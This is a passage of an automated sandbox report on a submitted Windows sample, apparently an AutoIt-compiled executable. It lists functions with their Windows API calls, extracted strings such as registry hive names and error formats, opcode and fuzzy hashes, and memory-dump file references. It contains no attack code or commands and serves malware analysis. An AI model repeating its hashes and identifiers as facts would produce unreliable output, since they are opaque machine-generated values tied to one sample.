                                                          • API ID: BuffCharMessageSendUpper
                                                          • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                                          • API String ID: 3974292440-4258414348
                                                          • Opcode ID: 3f2e69d4aa51dbb406168e8eec17f7dda2e2331c7f002e480690ed7ff1453b94
                                                          • Instruction ID: f7f24b1f7f7e4952ae52d1e6d9d0e09fed061ac92d3ce638d674e9b5e6785f43
                                                          • Opcode Fuzzy Hash: 3f2e69d4aa51dbb406168e8eec17f7dda2e2331c7f002e480690ed7ff1453b94
                                                          • Instruction Fuzzy Hash: 0D12D122B9865382EF11FB29C4411BDAAA9BF55B94BE84531CE4F57791EE3CE442C330
                                                          Function 00007FF787C21254 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 162windowfileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreenwcscat
                                                          • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                          • API String ID: 2091158083-3440237614
                                                          • Opcode ID: 7c2f099bf0a5769a0aea507f3e3fb0e9d810cef93c6a9b2b7ff31669fef11a09
                                                          • Instruction ID: ffc2c366097178e65220274364bca1e07002e5f1076671c65bd65cd1a21b0cf9
                                                          • Opcode Fuzzy Hash: 7c2f099bf0a5769a0aea507f3e3fb0e9d810cef93c6a9b2b7ff31669fef11a09
                                                          • Instruction Fuzzy Hash: 39715032668A8296E750EF25E8447E9B725FB84794FE04032DA4F07AA9CF7CD14BC710
                                                          Function 00007FF787C20118 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 175windowlibraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Load$Image$IconLibraryMessageSend_invalid_parameter_noinfo$DestroyExtractFree
                                                          • String ID: .dll$.exe$.icl
                                                          • API String ID: 258715311-1154884017
                                                          • Opcode ID: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
                                                          • Instruction ID: d923d14283f395da48a941dee1018f1e7ddeeb6d663c64afb4f37b49ac1f3381
                                                          • Opcode Fuzzy Hash: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
                                                          • Instruction Fuzzy Hash: 63710932A58B5282EB24EF21D44467AA7A8FF44B94F940636DD2F47794DF3CD486C310
                                                          Function 00007FF787C203D0 Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                          • String ID:
                                                          • API String ID: 3840717409-0
                                                          • Opcode ID: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
                                                          • Instruction ID: 14f16c986cf7554ac0d3ef46fc627b518ee9ce4c530fbc30820b84194ce43151
                                                          • Opcode Fuzzy Hash: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
                                                          • Instruction Fuzzy Hash: 50517936B64B4186EB14EF66E844A6D73A8FB88B94FA04131DE2E03B14DF3DD446C710
                                                          Function 00007FF787BF0D70 Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 388COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Variant$ClearInit
                                                          • String ID: %4d%02d%02d%02d%02d%02d$Default
                                                          • API String ID: 2610073882-3931177956
                                                          • Opcode ID: 71cb67d8980752d71d61beca9315e30f05edd3d223294706e17d030598d61897
                                                          • Instruction ID: d1e8a1b92c31107b4c2f42344bf28be94b95700a94302018e7601ab29eaf9b2a
                                                          • Opcode Fuzzy Hash: 71cb67d8980752d71d61beca9315e30f05edd3d223294706e17d030598d61897
                                                          • Instruction Fuzzy Hash: D6028032A8964685FB58BB65C05427DABA6FF04F80FA94935CA0F07A94DF3DE552C320
                                                          Function 00007FF787BF246C Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 281fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Filewcscat$DeleteTemp$NamePath_fread_nolock_invalid_parameter_noinfowcscpy
                                                          • String ID: aut
                                                          • API String ID: 130057722-3010740371
                                                          • Opcode ID: 9e3bb30c6d43dfc108f49b63acd44aa3cfb888b98a274a36fddad15c1dafbe64
                                                          • Instruction ID: 0ee907760a76214b31af91ee805555169d21446a41f38b0026349134415a8577
                                                          • Opcode Fuzzy Hash: 9e3bb30c6d43dfc108f49b63acd44aa3cfb888b98a274a36fddad15c1dafbe64
                                                          • Instruction Fuzzy Hash: 27C1B7326586C686EB30EF65E8406EDA751FB84BC8F904032EA4E4BB59DF3CD646C710
                                                          Function 00007FF787C1E40C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 177windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Window$MessageSend$CreateDestroy$DesktopRect
                                                          • String ID: tooltips_class32
                                                          • API String ID: 2443926738-1918224756
                                                          • Opcode ID: aaeb60d555cc86bf3e66e764e60d0e4162c92bacd9f6913f3df39f71d352b9df
                                                          • Instruction ID: edf53095ed9452122b0592c4d99b205fcc8eacb7a326e80077af7dbc8f1bcc8a
                                                          • Opcode Fuzzy Hash: aaeb60d555cc86bf3e66e764e60d0e4162c92bacd9f6913f3df39f71d352b9df
                                                          • Instruction Fuzzy Hash: 8691DF32A58B8586E750DF65E4907ADB7A5FB88B84FA44036DE4E47B28DF3CD046C720
                                                          Function 00007FF787C04F54 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 151windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                          • String ID:
                                                          • API String ID: 2598888154-3916222277
                                                          • Opcode ID: dea97f0d0ad0f9214e770fe855ba7d83dc888621a1f275c7b89ba2b07fbcc766
                                                          • Instruction ID: cc91e1f3e6953d31f443de5d9476a1289e447b8a9bfab5fef0777e2f361ae202
                                                          • Opcode Fuzzy Hash: dea97f0d0ad0f9214e770fe855ba7d83dc888621a1f275c7b89ba2b07fbcc766
                                                          • Instruction Fuzzy Hash: 87519776B14640CFE750DF65E440AAEB7B5F748B88F508125EE4A53B18CF38E416CB10
                                                          Function 00007FF787BDB0C4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 117memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                          • String ID: NULL Pointer assignment
                                                          • API String ID: 2706829360-2785691316
                                                          • Opcode ID: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
                                                          • Instruction ID: 7d505b40bdb844ea71a793a742403306b6ba3c879c14738b8b924aa5eb190177
                                                          • Opcode Fuzzy Hash: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
                                                          • Instruction Fuzzy Hash: D9517332B65A528AEB00EF65D8846BDBB71FB84B88F904035EE0F47665DF78D04AC350
                                                          Function 00007FF787C11110 Relevance: 19.6, APIs: 1, Strings: 10, Instructions: 371COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF787C0FD7B), ref: 00007FF787C11143
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: BuffCharUpper
                                                          • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                                          • API String ID: 3964851224-909552448
                                                          • Opcode ID: 48ce5f8ab7038dd94976e3b00d3167ae2925137fb7b03817e14e3f39c5b841c4
                                                          • Instruction ID: 3e2ef96bb9b4333da74605a3f99bd8d62a6fc126895b88b2c6f4f0265333cf64
                                                          • Opcode Fuzzy Hash: 48ce5f8ab7038dd94976e3b00d3167ae2925137fb7b03817e14e3f39c5b841c4
                                                          • Instruction Fuzzy Hash: 0FE19222F88A5782EB60AF65D8502B8A395BF10B94BE44535D91F477D8EE3CE947C330
                                                          Function 00007FF787BF87CC Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 200COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: CurrentDirectory$AttributesFilewcscat$wcscpy
                                                          • String ID: *.*
                                                          • API String ID: 4125642244-438819550
                                                          • Opcode ID: 1b6dd8a96d898a21e7a73211ee0a4e3b10aba06561d9a5e90c26a3235988e558
                                                          • Instruction ID: d4a712a2c6fd0d03d7ebf26b36f79130a215d28ec01d3bb58991cf3420b63c37
                                                          • Opcode Fuzzy Hash: 1b6dd8a96d898a21e7a73211ee0a4e3b10aba06561d9a5e90c26a3235988e558
                                                          • Instruction Fuzzy Hash: 9F81A132B58A8286EB10EF15D884ABDB7A2FB44B84FE40036DA4F47795DF78D546C720
                                                          Function 00007FF787BEA40C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 188windowsleepCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ItemMenu$Info$CheckCountRadioSleep
                                                          • String ID: P
                                                          • API String ID: 1460738036-3110715001
                                                          • Opcode ID: 6e2be1337fb57673dad59794737e60112838fe0b06465b145457b8a8f464ada3
                                                          • Instruction ID: da72a7d3e93c417ba94ace968307badadedc42e9e719a024f8a135fc1f1d724d
                                                          • Opcode Fuzzy Hash: 6e2be1337fb57673dad59794737e60112838fe0b06465b145457b8a8f464ada3
                                                          • Instruction Fuzzy Hash: 6571E336A482424AFB11EF24D4442BEABAABB81758FB44435DE4F47781CE7CE447D720
                                                          Function 00007FF787BF3268 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 135COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: LoadStringwprintf
                                                          • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
                                                          • API String ID: 3297454147-3080491070
                                                          • Opcode ID: 921b602f5fcb54eacd7a62b3ce9e0f2e08e995aee376e847d7660b2710a32505
                                                          • Instruction ID: 8d0e94af8a6a05736fcea8e61d1823f041babf45e3458df0b7ff2e33a1e7c337
                                                          • Opcode Fuzzy Hash: 921b602f5fcb54eacd7a62b3ce9e0f2e08e995aee376e847d7660b2710a32505
                                                          • Instruction Fuzzy Hash: F1616131B68A4292EB00FB24E8415EDA762FF54784FE05032EA4E57A99DF7CE507C760
                                                          Function 00007FF787BE74B0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 128windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: HandleLoadModuleString$Messagewprintf
                                                          • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                                          • API String ID: 4051287042-2268648507
                                                          • Opcode ID: 6f60d895e456e1bcae49e483a71499a5f57f9936a6ffa7df15260821f561c8be
                                                          • Instruction ID: 2b8d15013deb8565612fbedd5eb72d10cb7592dc41e3e00e8c5bd9b27d725586
                                                          • Opcode Fuzzy Hash: 6f60d895e456e1bcae49e483a71499a5f57f9936a6ffa7df15260821f561c8be
                                                          • Instruction Fuzzy Hash: F5519332B68A4292EB00FB64E8414EDA762FF94794BE41032E90F57A99DF7CE507C750
                                                          Function 00007FF787BED4AC Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 65sleepwindowtimeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Thread$Window$CurrentMessageProcessSendSleep$ActiveAttachDialogEnumFindInputTimeWindowstime
                                                          • String ID: BUTTON
                                                          • API String ID: 3935177441-3405671355
                                                          • Opcode ID: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
                                                          • Instruction ID: fb3491a33df31123bd69cfebbe1513037602f0e0f3cb2ebdcd41ee12a8980317
                                                          • Opcode Fuzzy Hash: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
                                                          • Instruction Fuzzy Hash: 5C315A32A9D64782F710BB20F894A36A666BF88794FE45075C90F076A0DF2CE487C730
                                                          Function 00007FF787B715EC Relevance: 18.2, APIs: 12, Instructions: 191timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Destroy$AcceleratorKillTableTimerWindow
                                                          • String ID:
                                                          • API String ID: 1974058525-0
                                                          • Opcode ID: 0c1613d7862a27f9aadcde1ff47aecba04f14ac792f66c26bb2ef633a4b89113
                                                          • Instruction ID: ec091c11758e3e1aec0b17d8f9098319547787e161c994b27c787195d40a526a
                                                          • Opcode Fuzzy Hash: 0c1613d7862a27f9aadcde1ff47aecba04f14ac792f66c26bb2ef633a4b89113
                                                          • Instruction Fuzzy Hash: 96915F31A89A0686EB64EF19E490678AB65BF84B94FF48135DE5F5B254CF3CE442C330
                                                          Function 00007FF787BE2F78 Relevance: 18.2, APIs: 12, Instructions: 173COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Window$ItemMoveRect$Invalidate
                                                          • String ID:
                                                          • API String ID: 3096461208-0
                                                          • Opcode ID: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
                                                          • Instruction ID: fa7c43b001bdfcee6711b8466be8e2deea72f2e3cab1b82dee0176d253b454a2
                                                          • Opcode Fuzzy Hash: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
                                                          • Instruction Fuzzy Hash: 0A619272B146408BE714DB6AE44466DBBA6B788B84F608139DE0E93F58DF3CD906CB10
                                                          Function 00007FF787BF4708 Relevance: 17.8, APIs: 3, Strings: 7, Instructions: 339COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: BuffCharDriveLowerTypewcscpy
                                                          • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                                          • API String ID: 1561581874-1000479233
                                                          • Opcode ID: ce25e8d1a7becc76643e4d1ddee2007e93a86bfe4a34930367856c9c98c70219
                                                          • Instruction ID: 2a814dd28378a1490595db846c33151e25b3d3fa81acb9e8da45e47bce522d9a
                                                          • Opcode Fuzzy Hash: ce25e8d1a7becc76643e4d1ddee2007e93a86bfe4a34930367856c9c98c70219
